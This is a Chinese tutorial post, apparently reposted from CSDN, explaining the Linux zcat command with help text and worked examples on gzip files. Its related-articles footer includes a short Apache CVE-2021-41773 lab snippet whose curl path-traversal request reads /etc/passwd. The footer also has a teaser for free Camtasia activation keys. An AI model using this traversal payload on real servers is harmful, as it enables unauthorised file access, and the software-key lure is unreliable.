Linux shell编程学习笔记81:zcat命令——快速查看压缩文件内容

0 引言

Linux shell编程学习笔记80:gzip命令——让文件瘦身-CSDN博客icon-default.png?t=O83Ahttps://blog.csdn.net/Purpleendurer/article/details/141862213?spm=1001.2014.3001.5501中,我们使用gzip命令可以创建压缩文件。那么,我们可以使用zcat命令来查看压缩文件的内容。

1 zcat 的功能,帮助信息,格式,选项和参数说明

1.1 zcat 的功能

在Linux中,cat命令常用于显示常规文本文件的内容.

zcat命令则是针对压缩文件的cat命令版本,全称为“concatenate for gzipped files”,主要用于显示gzip压缩文件的内容。这个命令可以说是查看压缩文件内容的捷径,因为它免去了先解压再查看的繁琐步骤。

1.2 zcat 的帮助信息


我们可以使用 zcat -help 命令获取帮助信息。

1.2.1 bash中的zcat帮助信息 

[prupleendurer @ bash ~] zcat --help
Usage: /usr/bin/zcat [OPTION]... [FILE]...
Uncompress FILEs to standard output.-f, --force       force; read compressed data even from a terminal-l, --list        list compressed file contents-q, --quiet       suppress all warnings-r, --recursive   operate recursively on directories-S, --suffix=SUF  use suffix SUF on compressed files-t, --test        test compressed file integrity-v, --verbose     verbose mode--help        display this help and exit--version     display version information and exitWith no FILE, or when FILE is -, read standard input.Report bugs to <bug-gzip@gnu.org>.
[prupleendurer @ bash ~] 

1.2.2 银河麒麟(kylin)系统中的zcat帮助信息

[purpleendurer @ kylin ~] zcat --help
Usage: /bin/zcat [OPTION]... [FILE]...
Uncompress FILEs to standard output.-f, --force       force; read compressed data even from a terminal-l, --list        list compressed file contents-q, --quiet       suppress all warnings-r, --recursive   operate recursively on directories-S, --suffix=SUF  use suffix SUF on compressed files-t, --test        test compressed file integrity-v, --verbose     verbose mode--help        display this help and exit--version     display version information and exitWith no FILE, or when FILE is -, read standard input.Report bugs to <bug-gzip@gnu.org>.
[purpleendurer @ kylin ~]

1.3 zcat 的命令格式

zcat [选项]... [文件]...

1.4 zcat 的选项和参数说明

1.4.1 zcat的选项

选项说明备注
-f, --force强制读取;甚至可以从终端读取压缩数据
-l, --list列出压缩文件内容与gzip相同
-q, --quiet抑制所有警告,即不显示警告信息与gzip相同
-r,--recursive对目录递归操作与gzip相同
-S, --suffix=SUF在压缩文件上使用后缀 SUF,当压缩包文件后缀不是标准压缩包后缀时使用此选项。
-t, --test测试压缩文件的完整性与gzip相同
-v, --verbose详细模式与gzip相同
--help显示帮助信息并退出与gzip相同
--version显示版本信息并退出与gzip相同

1.4.2 zcat的参数

文件:表示要查看的一个或多个压缩文件。 

2 zcat使用实例

2.1 创建演示文件

我们先使用 echo 命令和输出重定向在当前目录下创建文件f1.txt 和 f2.txt,然后使用 gzip命令对f1.txt和f2.txt 进行压缩,生成压缩文件f1.txt.gz 和 f2.txt.gz

[purpleendurer @ bash ~] echo "f1" > f1.txt
[purpleendurer @ bash ~] echo "f2" > f2.txt
[purpleendurer @ bash ~] gzip  < f1.txt > f1.txt.gz
[purpleendurer @ bash ~] gzip  < f2.txt > f2.txt.gz
[purpleendurer @ bash ~] ls
Code  f1.txt  f1.txt.gz  f2.txt  f2.txt.gz
[purpleendurer @ bash ~] 

2.2 查看压缩文件

2.2.1 zcat 文件名

例如,我们要查看目录下的所有以英文字母f开头的压缩文件 

[purpleendurer @ bash ~] zcat f*.txt.gz
f1
f2
[purpleendurer @ bash ~] zcat -iv f*.txt.gz

如果我们只指定文件名,不指定任何选项, 命令显示的信息非常有限。

2.2.2 zcat -l 文件名 : 查看压缩文件的内容

使用-l参数,我们可以看到压缩文件的内容。

例如,我们要查看目录下的所有以英文字母f开头的压缩文件的信息

[purpleendurer @ bash ~] zcat -l f*.txt.gzcompressed        uncompressed  ratio uncompressed_name23                   3 -66.7% f1.txt23                   3 -66.7% f2.txt46                   6 -366.7% (totals)
[purpleendurer @ bash ~] gzip -l f*.txt.gzcompressed        uncompressed  ratio uncompressed_name23                   3 -66.7% f1.txt23                   3 -66.7% f2.txt46                   6 -366.7% (totals)
[purpleendurer @ bash ~] 

zcat -l命令显示的信息包括4列内容,其含意分别是:

  1. compressed               :压缩后
  2. uncompressed           :压缩前
  3. ratio                            :压缩率
  4. uncompressed_name :解压缩的文件名称

可以看到,zcat -lv命令执行的结果和gzip -lv命令执行的结果是相同的。

 

可以看到,zcat -l命令执行的结果和gzip -l命令执行的结果是相同的。

2.2.3 zcat -lv 文件名:查看压缩文件的详细内容

使用-v参数,我们可以看到压缩文件更详细的信息。

例如,我们要查看目录下的所有以英文字母f开头的压缩文件的详细信息:

[purpleendurer @ bash ~] zcat -lv f*.gz
method  crc     date  time           compressed        uncompressed  ratio uncompressed_name
defla 9593802c Sep 18 23:20                  23                   3 -66.7% f1.txt
defla bebed3ef Sep 18 23:20                  23                   3 -66.7% f2.txt46                   6 -366.7% (totals)
[purpleendurer @ bash ~] gzip -lv f*.gz
method  crc     date  time           compressed        uncompressed  ratio uncompressed_name
defla 9593802c Sep 18 23:20                  23                   3 -66.7% f1.txt
defla bebed3ef Sep 18 23:20                  23                   3 -66.7% f2.txt46                   6 -366.7% (totals)
[purpleendurer @ bash ~] 

zcat -lv命令显示的信息包括8列内容,比zcat -l命令多了前面4列。这8列信息的含意分别是:

  1. method                       :压缩方法
  2. crc                              :crc校验码
  3. date                            :日期
  4. time                            :时刻
  5. compressed               :压缩后
  6. uncompressed           :压缩前
  7. ratio                            :压缩率
  8. uncompressed_name :解压缩的文件名称

可以看到,zcat -lv命令执行的结果和gzip -lv命令执行的结果是相同的。

2.3 zcat -tv 文件名:测试压缩文件完整性

使用-t参数,我们可以测试压缩文件的完整性。

例如,我们要查看目录下的所有以英文字母f开头的压缩文件的详细信息:

[purpleendurer @ bash ~] zcat -t f*.gz
[purpleendurer @ bash ~] zcat -tv f*.gz
f1.txt.gz:       OK
f2.txt.gz:       OK
[purpleendurer @ bash ~] gzip -t f*.gz
[purpleendurer @ bash ~] gzip -tv f*.gz
f1.txt.gz:       OK
f2.txt.gz:       OK
[purpleendurer @ bash ~] 

如果只使用-t选项,zcat没有显示反馈信息。

我们让-v和-t两个选项一起使用,就可以看到测试的结果。

我们同样看到,zcat -tv命令执行的结果和gzip -tv命令执行的结果是相同的。

2.4 zcat -ltv 文件名 = zcat -lv 文件名

如果我们同时使用ltv三个选项,会看到什么结果呢?

我们以查看目录下的所有以英文字母f开头的压缩文件为例来看看:

[purpleendurer @ bash ~] zcat -ltv f*.gz
method  crc     date  time           compressed        uncompressed  ratio uncompressed_name
defla 9593802c Sep 18 23:20                  23                   3 -66.7% f1.txt
defla bebed3ef Sep 18 23:20                  23                   3 -66.7% f2.txt46                   6 -366.7% (totals)
[purpleendurer @ bash ~] gzip -ltv f*.gz
method  crc     date  time           compressed        uncompressed  ratio uncompressed_name
defla 9593802c Sep 18 23:20                  23                   3 -66.7% f1.txt
defla bebed3ef Sep 18 23:20                  23                   3 -66.7% f2.txt46                   6 -366.7% (totals)
[purpleendurer @ bash ~] 

 

 2.5 zcat -V:查看版本信息

[purpleendurer @ bash ~] zcat -V
gzip 1.5
Copyright (C) 2007, 2010, 2011 Free Software Foundation, Inc.
Copyright (C) 1993 Jean-loup Gailly.
This is free software.  You may redistribute copies of it under the terms of
the GNU General Public License <http://www.gnu.org/licenses/gpl.html>.
There is NO WARRANTY, to the extent permitted by law.Written by Jean-loup Gailly.
[purpleendurer @ bash ~] gzip -V
gzip 1.5
Copyright (C) 2007, 2010, 2011 Free Software Foundation, Inc.
Copyright (C) 1993 Jean-loup Gailly.
This is free software.  You may redistribute copies of it under the terms of
the GNU General Public License <http://www.gnu.org/licenses/gpl.html>.
There is NO WARRANTY, to the extent permitted by law.Written by Jean-loup Gailly.
[purpleendurer @ bash ~] 

zcat和gzip是亲如一家呀 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/429385.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Apache CVE-2021-41773 漏洞攻略

1.环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.使用poc curl http://192.16.10.190:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3.工具验证

双击热备 Electron网页客户端

安装流程&#xff1a; 1.下载node.js安装包进行安装 2.点击Next; 3.勾选&#xff0c;点击Next; 4.选择安装目录 5.选择Online 模式 6.下一步执行安装 。 7.运行cmd,执行命令 path 和 node --version&#xff0c;查看配置路径和版本 8.Goland安装插件node.js 9.配置运行…

【数据结构与算法 | 灵神题单 | 自底向上DFS篇】力扣508, 1026, 951

1. 力扣508&#xff1a;出现次数最多的子树元素和 1.1 题目&#xff1a; 给你一个二叉树的根结点 root &#xff0c;请返回出现次数最多的子树元素和。如果有多个元素出现的次数相同&#xff0c;返回所有出现次数最多的子树元素和&#xff08;不限顺序&#xff09;。 一个结…

JVM 调优篇7 调优案例4- 线程溢出

一 线程溢出 1.1 报错信息 每个 Java 线程都需要占用一定的内存空间&#xff0c;当 JVM 向底层操作系统请求创建一个新的 native 线程时&#xff0c;如果没有足够的资源分配就会报此类错误。报错信息&#xff1a;java.lang.outofmemoryError:unable to create new Native Thr…

【leetcode】树形结构习题

二叉树的前序遍历 返回结果&#xff1a;[‘1’, ‘2’, ‘4’, ‘5’, ‘3’, ‘6’, ‘7’] 144.二叉树的前序遍历 - 迭代算法 给你二叉树的根节点 root &#xff0c;返回它节点值的 前序 遍历。 示例 1&#xff1a; 输入&#xff1a;root [1,null,2,3] 输出&#xff1a;[1,…

AI时代,服务器厂商能否打破薄利的命运?

文&#xff5c;刘俊宏 编&#xff5c;王一粟 AI大模型正在引发新一轮的“算力焦渴”。 近日&#xff0c;OpenAI刚发布的o1大模型再次刷新了大模型能力的上限。对比上一次迭代的版本&#xff0c;o1的推理能力全方位“吊打”了GPT-4o。更优秀的能力&#xff0c;来自与o1将思维…

大学生必看!60万人在用的GPT4o大学数学智能体有多牛

❤️作者主页&#xff1a;小虚竹 ❤️作者简介&#xff1a;大家好,我是小虚竹。2022年度博客之星&#x1f3c6;&#xff0c;Java领域优质创作者&#x1f3c6;&#xff0c;CSDN博客专家&#x1f3c6;&#xff0c;华为云享专家&#x1f3c6;&#xff0c;掘金年度人气作者&#x1…

利用QEMU安装一台虚拟机的三种方法

文章目录 宿主机的选择方法一&#xff1a;直接用qemu源码安装步骤1&#xff1a;下载好qemu源码&#xff0c;这里我们用qemu-5.1.0步骤2&#xff1a;编译步骤3&#xff1a;创建一个系统盘步骤4&#xff1a;用步骤2编译的qemu-system-x86_64 启动一台Linux虚拟机步骤5&#xff1a…

arm-硬件

一、ARM体系与架构 ARM芯片组成 -- arm 体系中&#xff0c;一般讲到的芯片由两大部分组成&#xff1a;arm的内核、外设 arm内核&#xff1a; -- 其内核主要由&#xff1a;寄存器、指令集、总线、存储器映射规则、中断逻辑主调试组件构成。ARM公司只设计内核&#xff0c;授权给…

用最通俗易懂的语言和例子讲解三维点云

前言&#xff1a; 我整体的学习顺序是看的按B站那“唯一”的三维点云的视频学习的&#xff08;翻了好久几乎没有第二个...&#xff09;对于深度学习部分&#xff0c;由于本人并没有进行学习&#xff0c;所以没有深究。大多数内容都进行了自己的理解并找了很多网络的资源方便理解…

客户转化预测以及关键因素识别_支持向量机与相关性分析

数据入口&#xff1a;数字营销转化数据集 - Heywhale.com 数据集记录了客户与数字营销活动的互动情况。它涵盖了人口统计数据、营销特定指标、客户参与度指标以及历史购买数据&#xff0c;为数字营销领域的预测建模和分析提供了丰富的信息。 数据说明&#xff1a; 字段说明Cu…

unity3d入门教程九

unity3d入门教程九 20.2播放音频20.3在代码中播放21.1延时调用21.2invoke API21.3消息调用22.1交互界面22.2添加canvas22.3canavas的位置22.4添加text 这里给一个资源网站&#xff0c;可以部分免费下载&#xff0c;音乐和音效超多&#xff0c;支持检索 爱给网 https://www.aige…

Arthas sysenv(查看JVM的环境变量)

文章目录 二、命令列表2.1 jvm相关命令2.1.5 sysenv&#xff08;查看JVM的环境变量&#xff09;举例1&#xff1a;sysenv 查看所有环境变量举例2&#xff1a;sysenv java.version 查看单个属性&#xff0c;支持通过tab补全 二、命令列表 2.1 jvm相关命令 2.1.5 sysenv&#x…

2.Seata 1.5.2 集成Springcloud-alibaba

一.Seata-server搭建已完成前提下 详见 Seata-server搭建 二.Springcloud 项目集成Seata 项目整体测试业务逻辑是创建订单后&#xff08;为了演示分布式事务&#xff0c;不做前置库存校验&#xff09;&#xff0c;再去扣减库存。库存不够的时候&#xff0c;创建的订单信息数…

开源 AI 智能名片 S2B2C 商城小程序与营销工具的快速迭代

摘要&#xff1a;本文以开源 AI 智能名片 S2B2C 商城小程序为研究对象&#xff0c;探讨在营销工具快速迭代的背景下&#xff0c;该小程序如何借鉴以拼多多为代表的“小程序拼团”、以蘑菇街为代表的“小程序直播”、以花点时间为代表的“小程序按月订花”等经典案例&#xff0c…

camtasia2024绿色免费安装包win+mac下载含2024最新激活密钥

Hey, hey, hey&#xff01;亲爱的各位小伙伴&#xff0c;今天我要给大家带来的是Camtasia2024中文版本&#xff0c;这款软件简直是视频制作爱好者的福音啊&#xff01; camtasia2024绿色免费安装包winmac下载&#xff0c;点击链接即可保存。 先说说这个版本新加的功能吧&#…

解密.bixi、.baxia勒索病毒:如何安全恢复被加密数据

导言 在数字化时代&#xff0c;数据安全已成为个人和企业面临的重大挑战之一。随着网络攻击手段的不断演进&#xff0c;勒索病毒的出现尤为引人关注。其中&#xff0c;.bixi、.baxia勒索病毒是一种新型的恶意软件&#xff0c;它通过加密用户的重要文件&#xff0c;迫使受害者支…

Linux,uboot,kernel启动流程,S5PV210芯片的启动流程,DRAM控制器初始化流程

一、S5PV210芯片的DRAM控制器介绍、初始化DDR的流程分析 1、DRAM的地址空间 1)从地址映射图可以知道&#xff0c;S5PV210有两个DRAM端口。 DRAM0的内存地址范围&#xff1a;0x20000000&#xff5e;0x3FFFFFFF&#xff08;512MB&#xff09;&#xff1b;DRAM1:的内存地址范围…

Node.js 学习

目录 1.Node.js入门 1.1 什么是 Node.js 1.2 fs模块-读写文件 1.3 path模块-路径处理 1.4 案例-压缩前端html 1.5 认识URL中的端口号 1.6 http模块-创建Web服务 1.7 案例-浏览时钟 2.Node.js 模块化 2.1 模块化简介 2.1.1 什么是模块化&#xff1f; 2.1.2 CommonJS…

BP神经网络

一、BP神经网络概述 BP神经网络由Rumelhard和McClelland于1986年提出的一种按照误差逆向传播算法训练的多层前馈神经网络。 从结构上讲&#xff0c;BP神经网络是一种典型的多层前向型神经网络&#xff0c;具有一个输入层input、数个隐含层hidden&#xff08;可以是一层&#xf…